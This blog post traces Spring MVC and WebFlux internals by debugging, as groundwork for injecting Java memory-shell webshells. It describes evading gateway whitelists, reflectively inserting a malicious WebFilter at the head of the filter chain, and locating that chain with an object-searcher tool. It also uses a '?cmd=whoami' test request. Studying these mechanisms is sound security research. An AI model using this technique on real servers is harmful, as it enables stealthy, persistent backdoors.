  • BeanFactorySpring的最基本的IOC容器,提供了基本的IOC功能,只有在第一次请求时才创建对象。
  • ApplicationContext:这是BeanFactory的扩展,提供了更多的企业级功能。ApplicationContext在容器启动时就预加载并初始化所有的单例对象,这样就可以提供更快的访问速度。

Spring MVC九大组件

这九大组件需要有个印象:

DispatcherServlet(派发Servlet):负责将请求分发给其他组件,是整个Spring MVC流程的核心;
HandlerMapping(处理器映射):用于确定请求的处理器(Controller);
HandlerAdapter(处理器适配器):将请求映射到合适的处理器方法,负责执行处理器方法;
HandlerInterceptor(处理器拦截器):允许对处理器的执行过程进行拦截和干预;
Controller(控制器):处理用户请求并返回适当的模型和视图;
ModelAndView(模型和视图):封装了处理器方法的执行结果,包括模型数据和视图信息;
ViewResolver(视图解析器):用于将逻辑视图名称解析为具体的视图对象;
LocaleResolver(区域解析器):处理区域信息,用于国际化;
ThemeResolver(主题解析器):用于解析Web应用的主题,实现界面主题的切换。

简单的源码分析

九大组件的初始化

打开之前Spring Controller那个项目,定位到org.springframework.web.servlet.DispatcherServlet,在依赖spring—webmvc里面

可以看到里面有很多组件的定义和初始化函数以及一些其他的函数,但是没有看到init()函数,继续往下找找

在翻看其父类FrameworkServlet的父类org.springframework.web.servlet.HttpServletBean的时候发现有init函数:

先是从Servlet的配置中获取初始化参数并创建一个PropertyValues对象,然后设置Bean属性;关键在最后一步,调用了initServletBean这个方法。看一下initServletBean这个方法,这里什么也没写,又导致了我的疑惑?

继续去寻找答案,全局搜索一下initServletBean这个方法。最终在org.springframework.web.servlet.FrameworkServlet找到了该方法

这段代码调用initWebApplicationContext方法,初始化IOC容器,跟进该方法

可以看到在初始化的过程中,会调用到这个onRefresh方法,一般来说这个方法是在容器刷新完成后被调用的回调方法,它执行一些在应用程序启动后立即需要完成的任务,进到onRefresh方法但是此方法体为空

那么全局搜索一下该方法,最终在org.springframework.web.servlet.DispatcherServlet找到了该方法

可以看到红框里面就是MVC的九大组件,到这一步就完成了Spring MVC的九大组件的初始化。

url和Controller的关系的建立

在没有去了解spring的基础知识的时候,大家包括我都会有一个疑惑:写代码的时候是用@RequestMapping("/")注解在方法上的,那Spring MVC是怎么根据这个注解就把对应的请求和这个方法关联起来的?

从上面的九大组件的初始化中可以看到,有个方法就叫做initHandlerMappings,我们点进去详细看看,可能跟大家的环境代码不同但是最终实现的功能是一致的,可以看到整体可以分为两个判断和一个循环

第一部分是去ApplicationContext(包括ancestor contexts)里面找所有实现了HandlerMappings接口的类,如果找到了至少一个符合条件的HandlerMapping bean,那就把它的值转化为列表,并按照Java的默认排序机制对它们进行排序,最后将排序后的列表赋值给 this.handlerMappings;那如果没有找到,this.handlerMappings就依然保持为null;如果不需要检测所有处理程序映射,那就尝试从ApplicationContext中获取名称为 handlerMappingbean,如果成功获取到了则将其作为单一元素的列表赋值给 this.handlerMappings,如果获取失败了,那也没关系,因为人家注释里面讲的很明白,会添加一个默认的HandlerMapping,这也就是我们要讲的第二部分的代码。

第二部分说的是,如果之前一套操作下来,this.handlerMappings还是为null,那么就调用 getDefaultStrategies 方法去获取默认的HandlerMapping,并将其赋给 this.handlerMappings

点进去看一下getDefaultStrategies方法实现了什么

这段代码挺有意思,先是加载资源文件,并将其内容以属性键值对的形式存储在defaultStrategies中;接下来从strategyInterface获取一个名称,然后用这个名称在defaultStrategies中查找相应的值,如果找到了,就将这个值按逗号分隔成类名数组,接着遍历这个类名数组,对于每个类名都执行以下两个操作:①尝试通过ClassUtils.forName方法加载该类 ②使用createDefaultStrategy方法创建该类的实例;最后将创建的策略对象添加到列表strategies中并返回。

可以发现上方代码多次提到了DispatcherServlet.properties,我们尝试搜索一下是否有可用的信息,找到了第一次出现的地方

发现DEFAULT_STRATEGIES_PATH变量,找一下这个文件在哪,很明显看见就在左侧,

锁定文件中关键信息:

org.springframework.web.servlet.HandlerMapping=org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping,\
    org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping,\
    org.springframework.web.servlet.function.support.RouterFunctionMapping

也就是说,会有三个值,分别是BeanNameUrlHandlerMappingRequestMappingHandlerMappingRouterFunctionMapping,我们一般用的是第二个,我们点进org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping看一下:

可以看到RequestMappingHandlerMapping继承了RequestMappingInfoHandlerMapping,点进RequestMappingInfoHandlerMapping发现继承了AbstractHandlerMethodMapping,这个方法实现了InitializingBean这个接口,这个接口用于在bean初始化完成后执行一些特定的自定义初始化逻辑

点进该接口,只有一个afterPropertiesSet方法,关于该方法的用途可以参考https://blog.csdn.net/Swofford/article/details/133994759

这里结束我们回去翻一下AbstractHandlerMethodMapping中具体如何实现InitializingBeanafterPropertiesSet的吧:

重写了afterPropertiesSet,调用initHandlerMethods这个方法,继续跟踪该方法,也就是上方红框下面的方法:

protected void initHandlerMethods() {
    String[] var1 = this.getCandidateBeanNames();
    int var2 = var1.length;

    for(int var3 = 0; var3 < var2; ++var3) {
        String beanName = var1[var3];
        if (!beanName.startsWith("scopedTarget.")) {
            this.processCandidateBean(beanName);
        }
    }

    this.handlerMethodsInitialized(this.getHandlerMethods());
}

实现的是扫描ApplicationContext中的bean,然后检测并注册handler methods

在这个方法打上断点进行调试,到图中这一步之后step into

发现进到了processCandidateBean这个方法,跟进到这个方法,来看一下这个方法的具体逻辑

可以看到有一个判断this.isHandler(beanType),跟踪一下isHandler

可以看到,这里并没有给出实现,说明子类中应该会给出override,直接搜索isHandler,去找重写的地方即可。于是直接找到了org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#isHandler

很明显,isHandler是用来检测给定的beanType类是否带有Controller注解或者RequestMapping注解。

解决了这个,回到processCandidateBean方法继续往后看,后面是调用了detectHandlerMethods这个方法,我们点进去看看

一部分一部的拆解分析一下这段代码

Class<?> handlerType = handler instanceof String ? this.obtainApplicationContext().getType((String)handler) : handler.getClass();

先判断handler是否是字符串类型,如果是,则通过ApplicationContext获取它的类型;否则,直接获取handler的类型

然后是这部分:

Class<?> userType = ClassUtils.getUserClass(handlerType);
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
        (MethodIntrospector.MetadataLookup<T>) method -> {
            try {
                return getMappingForMethod(method, userType);
            }
            catch (Throwable ex) {
                throw new IllegalStateException("Invalid mapping on handler class [" +
                        userType.getName() + "]: " + method, ex);
            }
        });

先是获取处理器的用户类,用户类是没有经过代理包装的类,这样就可以确保获取到的是实际处理请求的类;然后是这个selectMethods方法,这个方法有两个参数,第一个参数就是用户类,第二个参数是一个回调函数。关键就在于理解这个回调函数的作用。对于每个方法,它会尝试调用getMappingForMethod来获取方法的映射信息。那么我们跟踪一下getMappingForMethod

发现是一个抽象方法,根据经验继续去找有没有重写该方法

果不其然在org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping找到了这个方法,在下图位置打断点进行调试

分开来看,首先是第一行:

RequestMappingInfo info = createRequestMappingInfo(method);

解析Controller类的方法中的注解,生成一个对应的RequestMappingInfo对象。我们可以step into进入org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#createRequestMappingInfo(java.lang.reflect.AnnotatedElement)方法:

可以看到这个info里面保存了访问该方法的url pattern"/",也就是我们在TestController.java所想要看到的当@RequestMapping("/")时,调用test方法。

继续一步步往下走,可以看到走到了org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods的最后:

直接看lambda表达式里面的内容:

Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
this.registerHandlerMethod(handler, invocableMethod, mapping);

意思是,先用selectInvocableMethod方法根据methoduserType选择出一个可调用的方法,这样是为了处理可能存在的代理和AOP的情况,确保获取到的是可直接调用的原始方法;然后把beanMethodRequestMappingInfo注册进MappingRegistry

到这里,终于把urlController之间的关系是如何建立的问题就解决了。

Spring Interceptor引入与执行流程分析

根据前面的思考以及探究,引入这样一个问题:

很多大型业务在到达真正的应用服务器之前,会经历n多网关、负载均衡以及防火墙等等,大多数都会设置网关的白名单来实现安全运行,所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃。我们要达到的目的就是在访问正常的业务地址之前,就能执行我们的代码。所以,在注入java内存马时,尽量不要使用新的路由来专门处理我们注入的webshell逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们webshell逻辑的处理。在tomcat容器下,有filterlistener等技术可以达到上述要求,那么在spring框架层面下,有哪些办法能达到上面的目的,这也是我们需要探究的地方

查阅相关资料不难得知,Spring框架中也有一种拦截器机制,Spring Interceptor,也就是我们所要研究的,上文写tomcat部分时也提到了一种拦截器机制Filter,那么这两者有什么区别呢?

主要有以下六个方面区别:

主要区别 拦截器 过滤器
机制 Java反射机制 函数回调
是否依赖Servlet容器 不依赖 依赖
作用范围 action请求起作用 对几乎所有请求起作用
是否可以访问上下文和值栈 可以访问 不能访问
调用次数 可以多次被调用 在容器初始化时只被调用一次
IOC容器中的访问 可以获取IOC容器中的各个bean(基于FactoryBean接口) 不能在IOC容器中获取bean

用之前spring Interceptor那个项目,在TestInterceptor.java主方法处打断点,然后访问http://127.0.0.1:8080/?cmd=whoami进入调试

一步步调试跟踪,发现进入org.springframework.web.servlet.DispatcherServlet#doDispatch方法

一步步调试下去,发现调用了getHandler这个函数,

step into这个函数看一下作用,通过遍历当前handlerMapping数组中的handler对象,来判断哪个handler来处理当前的request对象:

继续步入这个函数里面所用到的mapping.getHandler方法,也就是org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler

代码简单易懂,先是通过getHandlerInternal来获取,如果获取不到,那就调用getDefaultHandler来获取默认的,如果还是获取不到,就直接返回null;然后检查handler是不是一个字符串,如果是,说明可能是一个Bean的名字,这样的话就通过ApplicationContext来获取对应名字的Bean对象,这样就确保 handler 最终会是一个合法的处理器对象;接着检查是否已经有缓存的请求路径,如果没有缓存就调用 initLookupPath(request) 方法来初始化请求路径的查找;最后通过 getHandlerExecutionChain 方法创建一个处理器执行链。

那么这个这个getHandlerExecutionChain方法很重要,我们步入看看

遍历adaptedInterceptors,判断拦截器是否是MappedInterceptor类型,如果是那就看MappedInterceptor是否匹配当前请求,如果匹配则将其实际的拦截器添加到执行链中,如果不是这个类型的那就直接将拦截器添加到执行链中。

再回到之前的getHandler方法中来,看看它的后半段:

主要都是处理跨域资源共享(CORS)的逻辑,只需要知道在涉及CORS的时候把requestexecutionChainCORS配置通过getCorsHandlerExecutionChain调用封装后返回就行了。

接着一步步执行,一直执行回到getHandler中,这里调用org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle方法,step into看一眼这个方法

可以看到一个for循环遍历所有拦截器进行预处理,后面的代码就基本不需要了解了

Spring WebFlux介绍与代码调试分析

这里文字部分我就直接复制解师傅的,解师傅写的很简洁也很清楚,如果有地方不清楚大家可以多去翻一下网上的资料,我翻了一下还是蛮多的,重点是后面的代码部分

SpringWebFluxSpring Framework 5.0中引入的新的响应式web框架。传统的Spring MVC在处理请求时是阻塞的,即每个请求都会占用一个线程,如果有大量请求同时到达,就需要大量线程来处理,可能导致资源耗尽。为了解决这个问题,WebFlux引入了非阻塞的响应式编程模型,通过使用异步非阻塞的方式处理请求,能够更高效地支持大量并发请求,提高系统的吞吐量;并且它能够轻松处理长连接和WebSocket,适用于需要保持连接的应用场景,如实时通讯和推送服务;在微服务架构中,服务之间的通信往往需要高效处理,WebFlux可以更好地适应这种异步通信的需求。

关于ReactiveSpring WebFlux的相关知识,可以参考知乎上的这篇文章,讲的通俗易懂,很透彻:

https://zhuanlan.zhihu.com/p/559158740

WebFlux框架开发的接口返回类型必须是Mono<T>或者是Flux<T>。因此我们第一个需要了解的就是什么是Mono以及什么是Flux

什么是Mono?

Mono用来表示包含01个元素的异步序列,它是一种异步的、可组合的、能够处理异步数据流的类型。比方说当我们发起一个异步的数据库查询、网络调用或其他异步操作时,该操作的结果可以包装在Mono中,这样就使得我们可以以响应式的方式处理异步结果,而不是去阻塞线程等待结果返回,就像我们在2.10.3节中的那张gif图中所看到的那样。

下面我们来看看Mono常用的api

API 说明 代码示例
Mono.just(T data) 创建一个包含指定数据的 Mono Mono<String> mono = Mono.just("Hello, Mono!");
Mono.empty() 创建一个空的 Mono Mono<Object> emptyMono = Mono.empty();
Mono.error(Throwable error) 创建一个包含错误的 Mono Mono<Object> errorMono = Mono.error(new RuntimeException("Something went wrong"));
Mono.fromCallable(Callable<T> supplier) 从 Callable 创建 Mono,表示可能抛出异常的异步操作。 Mono<String> resultMono = Mono.fromCallable(() -> expensiveOperation());
Mono.fromRunnable(Runnable runnable) 从 Runnable 创建 Mono,表示没有返回值的异步操作。 Mono<Void> runnableMono = Mono.fromRunnable(() -> performAsyncTask());
Mono.delay(Duration delay) 在指定的延迟后创建一个空的 Mono Mono<Object> delayedMono = Mono.delay(Duration.ofSeconds(2)).then(Mono.just("Delayed Result"));
Mono.defer(Supplier<? extends Mono<? extends T>> supplier) 延迟创建 Mono,直到订阅时才调用供应商方法。 Mono<String> deferredMono = Mono.defer(() -> Mono.just("Deferred Result"));
Mono.whenDelayError(Iterable<? extends Mono<? extends T>> monos) 将一组 Mono 合并为一个 Mono,当其中一个出错时,继续等待其他的完成。 Mono<String> resultMono = Mono.whenDelayError(Arrays.asList(mono1, mono2, mono3));
Mono.map(Function<? super T, ? extends V> transformer) Mono 中的元素进行映射。 Mono<Integer> resultMono = mono.map(s -> s.length());
Mono.flatMap(Function<? super T, ? extends Mono<? extends V>> transformer) Mono 中的元素进行异步映射。 Mono<Integer> resultMono = mono.flatMap(s -> Mono.just(s.length()));
Mono.filter(Predicate<? super T> tester) 过滤 Mono 中的元素。 Mono<String> filteredMono = mono.filter(s -> s.length() > 5);
Mono.defaultIfEmpty(T defaultVal) 如果 Mono 为空,则使用默认值。 Mono<String> resultMono = mono.defaultIfEmpty("Default Value");
Mono.onErrorResume(Function<? super Throwable, ? extends Mono<? extends T>> fallback) 在发生错误时提供一个备用的 Mono Mono<String> resultMono = mono.onErrorResume(e -> Mono.just("Fallback Value"));
Mono.doOnNext(Consumer<? super T> consumer) 在成功时执行操作,但不更改元素。 Mono<String> resultMono = mono.doOnNext(s -> System.out.println("Received: " + s));
Mono.doOnError(Consumer<? super Throwable> onError) 在发生错误时执行操作。 Mono<String> resultMono = mono.doOnError(e -> System.err.println("Error: " + e.getMessage()));
Mono.doFinally(Consumer<SignalType> action) 无论成功还是出错都执行操作。 Mono<String> resultMono = mono.doFinally(signal -> System.out.println("Processing finished: " + signal));

什么是Flux?

Flux表示的是0N个元素的异步序列,可以以异步的方式按照时间的推移逐个或一批一批地publish元素。也就是说,Flux允许在处理元素的过程中,不必等待所有元素都准备好,而是可以在它们准备好的时候立即推送给订阅者。这种异步的推送方式使得程序可以更灵活地处理元素的生成和消费,而不会阻塞执行线程。

下面是Flux常用的api

API 说明 代码示例
Flux.just 创建包含指定元素的Flux Flux<String> flux = Flux.just("A", "B", "C");
Flux.fromIterable Iterable创建Flux List<String> list = Arrays.asList("A", "B", "C"); Flux<String> flux = Flux.fromIterable(list);
Flux.fromArray 从数组创建Flux String[] array = {"A", "B", "C"}; Flux<String> flux = Flux.fromArray(array);
Flux.empty 创建一个空的Flux Flux<Object> emptyFlux = Flux.empty();
Flux.error 创建一个包含错误的Flux Flux<Object> errorFlux = Flux.error(new RuntimeException("Something went wrong"));
Flux.range 创建包含指定范围的整数序列的Flux Flux<Integer> rangeFlux = Flux.range(1, 5);
Flux.interval 创建包含定期间隔的元素的Flux Flux<Long> intervalFlux = Flux.interval(Duration.ofSeconds(1)).take(5);
Flux.merge 合并多个Flux,按照时间顺序交织元素 Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("C", "D"); Flux<String> mergedFlux = Flux.merge(flux1, flux2);
Flux.concat 连接多个Flux,按照顺序发布元素 Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("C", "D"); Flux<String> concatenatedFlux = Flux.concat(flux1, flux2);
Flux.zip 将多个Flux的元素进行配对,生成Tuple Flux<String> flux1 = Flux.just("A", "B"); Flux<String> flux2 = Flux.just("1", "2"); Flux<Tuple2<String, String>> zippedFlux = Flux.zip(flux1, flux2);
Flux.filter 过滤满足条件的元素 Flux<Integer> numbers = Flux.range(1, 5); Flux<Integer> filteredFlux = numbers.filter(n -> n % 2 == 0);
Flux.map 转换每个元素的值 Flux<String> words = Flux.just("apple", "banana", "cherry"); Flux<Integer> wordLengths = words.map(String::length);
Flux.flatMap 将每个元素映射到一个Flux,并将结果平铺 Flux<String> letters = Flux.just("A", "B", "C"); Flux<String> flatMappedFlux = letters.flatMap(letter -> Flux.just(letter, letter.toLowerCase()));

Spring WebFlux启动过程分析

关于Spring MVCSpring WebFlux之间的区别,大家直接去网上搜就可以了,网上讲WebFlux多的不能再多了,我们直接看代码

打开前面的Spring WebFlux的Demo,我们直接在run方法这里下断点,然后直接step into进到这个方法里面

继续step into跟进方法,一直到图示位置step over一步一步往下走

直到看见createApplicationContext,就感觉很重要,因为字面意思就是创建ApplicationContext,这正是我们感兴趣的内容,我们step into进去看看

可以看到,是根据不同的webApplicationType去选择创建不同的context,比如我们这里的webApplicationType就是REACTIVE,也就是响应式的。step into选择进到create方法看一下

发现里面有两个静态方法、一个create方法和一个默认实现 DEFAULT,这个默认实现通过加载 ApplicationContextFactory 的所有候选实现,创建相应的上下文;如果没有找到合适的实现,则默认返回一个 AnnotationConfigApplicationContext 实例。

我们继续step over走下去,可以看到我们REACTIVE对应的contextAnnotationConfigReactiveWebServerApplicationContext

继续往下走,我们会回到一开始这里,可以看到接下来会调用prepareContextrefreshContextafterRefresh方法,这个过程就是一系列的初始化、监听的注册等操作:

继续往下走到this.refreshContext(context);,step into进到这个方法看一下

接着step into 进到refresh这个方法看一下,可以看到,这里调用了一个super.refresh,也就是父类的refresh方法

我们继续step into查看,发现这里调用了onRefresh方法:

我们一路step over下来,step into这里的onRefresh,发现它调用了关键的org.springframework.boot.web.reactive.context.ReactiveWebServerApplicationContext#createWebServer

继续step over可以看到,由于我们使用的是Netty而不是Tomcat,因此这里最终会调用NettyReactiveWebServerFactory类中的getWebServer方法:

进到这个getWebServer方法看一下,这里并没有具体功能,很明显在某个地方被重写了不需要去管

可以看到黄框中的WebServerManager类也是一个重要的封装类,里面有两个成员变量,一个是底层服务器的抽象WebServer,另一个是上层方法处理者的抽象DelayedInitializationHttpHandler

那这个webserver具体是怎么启动的呢?我们继续走到finishRefresh这个方法这里来,如果这里我们直接无脑step over,程序最终会回到run方法,说明,启动webserver的地方肯定就在这个finishRefresh方法里面:

我们step into进到finishRefresh这个方法里面看一下,

看到调用了getLifecycleProcessor().onRefresh(),继续跟进这个方法,发现调用了startBeans方法,并且设置了自启动:

image-20240622202750601

step into进入start Beans方法,发现最后调用了start这个方法

那么直接step over到最后进到start里看一下,发现最后调用了doStart这个方法

这里我调试一直进不去start方法,怀疑哪里出问题了,先把之前的断点位置取消,然后在两个关键函数处打上断点,也就是上图的

bean.start();
DefaultLifecycleProcessor.this.doStart(this.lifecycleBeans, member.name, this.autoStartupOnly);

可以看到这里的this.lifecycleBeans里面其实有三个,每调用一次doStart方法就会删掉一个,直到memeber.namewebServerStartStop时才能进去

我们一步步step over,当memeber.namewebServerStartStop时,我们再step into这个doStart方法里面的bean.start()

即可看到this.weServerManager.start()

继续step into这个start方法

分析一下上面红框中的代码

先是初始化HttpHandler,这个方法其实根据lazyInit的值的不同来决定何时初始化,如果lazyInit值为true,那么就等第一次请求到来时才真正初始化;如果为false,那么就在 WebServerManagerstart 方法中调用 initializeHandler 直接初始化:

我们继续步入这里的start方法,其位置为org.springframework.boot.web.embedded.netty.NettyWebServer#start

到这里才算真正明了,真正的webServer启动的关键方法是org.springframework.boot.web.embedded.netty.NettyWebServer#startHttpServer,进到startHttpServer方法看一下

一直step over一步步下来之后,回到start后,从下面的this.webServer中也可以看到,绑定的是0.0.0.0:9191

Spring WebFlux请求处理过程分析

还是用之前那个WebFluxMemoryShellDemo来探究当一个请求过来的时候,Spring WebFlux是如何进行处理的

把之前打的断点取消,然后在org.example.webfluxmemoryshelldemo.hello.GreetingHandler#hello这里打上断点,然后进行调试,访问http://127.0.0.1:9191/hello触发debug

step over两步后来到org.springframework.web.reactive.DispatcherHandler#invokeHandler

step into进到这个方法看一下,可以看到是org.springframework.web.reactive.DispatcherHandler#handle

if判断检查handlerMappings是否为null,如果是,那就调用createNotFoundError方法返回一个表示未找到处理程序的Mono

接着通过CorsUtils.isPreFlightRequest方法检查是否为预检请求,如果是,那就调用handlePreFlight方法处理预检请求,如果不是预检请求且handlerMappings不为null,通过一系列的操作,获取到请求的handler,然后调用invokeHandler方法执行处理程序,再调用handleResult方法处理执行结果,最终返回一个表示处理完成的Mono

注意到下方这段代码,里面的个getHander方法,点进去看一眼

return mapping.getHandler(exchange);

发现什么都没写,很明显被重写了,去找一下

果然,定位到org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandler,把之前的断掉取消,把该函数打上断点

可以看到调用了getHandlerInternal方法,这个方法位置在org.springframework.web.reactive.handler.AbstractHandlerMapping#getHandlerInternal

继续跟进,可以看到这里调用了creat方法,进入看一下

这里最终创建的是DefaultServerRequest对象,需要注意的是在创建该对象时将RouterFunctionMapping中保存的HttpMessageReader列表作为参数传入,这样DefaultServerRequest对象就有了解析参数的能力。

回到getHandlerInternal这个函数,看它的return里面的匿名函数,发现其调用了org.springframework.web.reactive.function.server.RouterFunction#route,我们点进去看看:

可以看到只是在接口中定义了一下,去找一下这个方法具体在哪,定位到org.springframework.web.reactive.function.server.RouterFunctions#route,审计一下代码

首先调用this.predicate.test方法来判断传入的ServerRequest是否符合路由要求,如果匹配到了处理方法,那就将保存的HandlerFunction实现返回,否则就返回空的Mono

点进去这个test方法,发现还是个接口,结合之前的RouterFunction.javaRouterFunctions.java的命名规则,合理猜测test方法的实现应该是在RequestPredicates.java里面。

我们取消之前下的所有断点,在test函数这里重新打上断点后调试:

可以看到这里已经拿到了pattern,那就还差解析request里面的GET这个方法了:

我们继续step over,发现直接跳到了这里,这里的this.leftthis.right已经已知了

说明在执行test之前肯定是已经被赋值了,我继续往后step over,从下图中可以看到,此时二者之间多了个&&,不难猜测,应该是调用了org.springframework.web.reactive.function.server.RequestPredicates.AndRequestPredicate方法,因为还有一个OrRequestPredicate,这个or的话应该就是||了:

于是我们把之前的断点取消,再在AndRequestPredicate方法这打上断点,此时我们还没有访问http://127.0.0.1:9191/hello,就已经触发调试了,这是因为我们在GreetingRouter.java里面写的代码中有GET方法、/hello路由还有and方法,因此会调用到AndRequestPredicate,并把GET/hello分别复制给this.leftthis.right

到这里,我们基本就了解了路由匹配这么个事情。接下来我们要考虑的事情就是如何处理请求,这个就比较简单了,我们在Spring WebFlux那一章节中的分析中已经基本涉及到了。我们还是在org.springframework.web.reactive.DispatcherHandler#invokeHandler打下断点调试,访问http://localhost:9191/hello进入调试

可以看到,这里的this.handlerAdapters里面有四个handlerAdapter

调试过程中可以发现,并不是所有的handlerAdapter都会触发handle方法,只有当支持我们给定的handlerhandlerAdapter才可以调用:

然后我们step into这里的handlerAdapter.handle方法,发现是在org.springframework.web.reactive.function.server.support.HandlerFunctionAdapter#handle

而这里的handlerFunction.handle也就是我们编写的route方法:

Spring WebFlux过滤器WebFilter运行过程分析

对于Spring WebFlux而言,由于没有拦截器和监听器这个概念,要想实现权限验证和访问控制的话,就得使用Filter,关于这一部分知识可以参考Spring的官方文档:

https://docs.spring.io/spring-security/reference/reactive/configuration/webflux.html

而在Spring Webflux中,存在两种类型的过滤器:

  1. 一个是WebFilter,实现自org.springframework.web.server.WebFilter接口。通过实现这个接口,可以定义全局的过滤器,它可以在请求被路由到handler之前或者之后执行一些逻辑
  2. 另一个就是HandlerFilterFunction,它是一种函数式编程的过滤器类型,实现自org.springframework.web.reactive.function.server.HandlerFilterFunction接口,与WebFilter相比它更加注重函数式编程的风格,可以用于处理基于路由的过滤逻辑。

这里我们以WebFilter为例,看看它的运行过程。在上面的项目里新建一个GreetingFilter.java,代码如下

package com.example.webfluxmemoryshelldemo.hello;

import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import reactor.core.publisher.Mono;

@Component
public class GreetingFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
        PathPattern pattern=new PathPatternParser().parse("/hello/**");
        ServerHttpRequest request=serverWebExchange.getRequest();
        if (pattern.matches(request.getPath().pathWithinApplication())){
            System.out.println("hello, this is our filter!");
        }
        return webFilterChain.filter(serverWebExchange);
    }
}

filter函数这里下断点,进行调试:

注意到return中调用了filter函数,step into看看:

可以看到是调用了invokeFilter函数。我们仔细看看这个DefaultWebFilterChain类:

可以看到是有三个名为DefaultWebFilterChain的函数,其中第一个是公共构造函数,第二个是私有构造函数(用来创建chain的中间节点),第三个是已经过时的构造函数。这里我的代码没有注释,但是解师傅的环境里有,借用一下

Each instance of this class represents one link in the chain. The public constructor DefaultWebFilterChain(WebHandler, List) initializes the full chain and represents its first link.

也就是说,通过调用 DefaultWebFilterChain 类的公共构造函数,我们初始化了一个完整的过滤器链,其中的每个实例都代表链中的一个link,而不是一个chain,这就意味着我们无法通过修改下图中的chain.allFilters来实现新增Filter

可以看到左边这个类里面有个initChain方法用来初始化过滤器链,这个方法里面调用的是DefaultWebFilterChain这个私有构造方法:

那我们就看看这个公共构造方法是在哪里调用的,光标移至该方法,按两下Ctrl+Alt+F7,我这里就一直没找到…..

根据解师傅文章,定位到org.springframework.web.server.handler.FilteringWebHandler#FilteringWebHandler,果然在这里调用了

那思路就来了,我们只需要构造一个DefaultWebFilterChain对象,,然后把它通过反射写入到FilteringWebHandler类对象的chain属性中就可以了

那现在就剩下传入handlerfilters这两个参数了,这个handler参数很好搞,就在chain里面:

然后这个filters的话,我们可以先获取到它本来的filters,然后把我们自己写的恶意filter放进去,放到第一位,就可以了。

那现在就是从内存中找到DefaultWebFilterChain的位置,然后一步步反射就行。这里直接使用工具https://github.com/c0ny1/java-object-searcher,克隆下来该项目,放到ideamvn clean install,这个工具好像之前学校上课时候用过

然后把生成的这个java-object-searcher-0.1.0.jar放到我们的WebFluxMemoryShellDemo项目的Project Structure中的Libraries中:

然后我们把我们的GreetingFilter.java的代码修改成下面的:

package com.example.webfluxmemoryshelldemo.hello;

import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import reactor.core.publisher.Mono;

import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import java.util.ArrayList;
import java.util.List;

@Component
public class GreetingFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {
        PathPattern pattern=new PathPatternParser().parse("/hello/**");
        ServerHttpRequest request=serverWebExchange.getRequest();
        if (pattern.matches(request.getPath().pathWithinApplication())){
            System.out.println("hello, this is our GreetingFilter!");
        }
        List<Keyword> keys = new ArrayList<>();
        keys.add(new Keyword.Builder().setField_type("DefaultWebFilterChain").build());
        List<Blacklist> blacklists = new ArrayList<>();
        blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        searcher.setBlacklists(blacklists);
        searcher.setIs_debug(true);
        searcher.setMax_search_depth(10);
        searcher.setReport_save_path("D:\\javaSecEnv\\apache-tomcat-9.0.85\\bin");
        searcher.searchObject();
        return webFilterChain.filter(serverWebExchange);
    }
}

代码里面我们设置的关键词是DefaultWebFilterChain,直接运行

也就是说,位置是在:

TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} 
     ---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer} 
      ---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter} 
       ---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler} 
        ---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter} 
         ---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler} 
           ---> delegate = {org.springframework.web.server.handler.FilteringWebHandler} 
            ---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}

结语

写的脑袋有点疼,再次感谢解师傅出的这么优秀的文章,很清晰的为我们展示了一些代码基础知识以及相关理论知识。

对于这一部分在初学Java的时候也大概了解了一下,但是没有细致的去分析代码的底层原理,回过头来再次重新跟随解师傅梳理一遍还是有很多收获的,不得不说关于底层如果了解的深入以及印象深刻的话,对于其他学习大有益处,不管是开发抑或是Java攻防。